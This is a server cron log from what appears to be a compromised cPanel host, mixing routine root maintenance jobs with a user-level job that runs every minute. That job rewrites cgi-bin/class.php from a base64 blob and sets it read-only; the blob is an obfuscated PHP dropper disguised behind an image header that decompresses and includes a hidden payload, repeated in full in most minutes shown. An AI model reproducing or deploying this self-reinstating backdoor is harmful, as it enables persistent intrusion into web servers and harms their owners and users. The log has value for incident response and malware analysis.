Sep  2 14:56:01 server CROND[362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:57:01 server CROND[787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:57:01 server CROND[788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:57:01 server CROND[789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:57:01 server CROND[790]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:58:01 server CROND[1245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:58:01 server CROND[1246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:58:01 server CROND[1247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:59:01 server CROND[1752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:59:01 server CROND[1753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:59:01 server CROND[1754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:00:01 server CROND[2181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:00:01 server CROND[2184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:00:01 server CROND[2187]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:00:01 server CROND[2188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:00:01 server CROND[2189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:00:01 server CROND[2186]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 15:00:01 server CROND[2185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:00:01 server CROND[2190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:00:01 server CROND[2183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:01:01 server CROND[3082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:01:01 server CROND[3083]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 15:01:01 server CROND[3084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:01:01 server CROND[3085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:01:01 server run-parts(/etc/cron.hourly)[3083]: starting 0anacron
Sep  2 15:01:01 server run-parts(/etc/cron.hourly)[3102]: finished 0anacron
Sep  2 15:02:01 server CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:02:01 server CROND[3484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:02:01 server CROND[3485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:03:01 server CROND[3877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:03:01 server CROND[3879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:03:01 server CROND[3886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:04:01 server CROND[4373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:04:01 server CROND[4375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:04:01 server CROND[4376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:05:01 server CROND[4792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:05:01 server CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:05:01 server CROND[4795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:05:01 server CROND[4797]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:05:01 server CROND[4798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:05:01 server CROND[4801]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:05:01 server CROND[4796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:05:01 server CROND[4800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:06:01 server CROND[5666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:06:01 server CROND[5665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:06:01 server CROND[5664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:07:01 server CROND[6055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:07:01 server CROND[6056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:07:01 server CROND[6059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:08:01 server CROND[6441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:08:01 server CROND[6442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
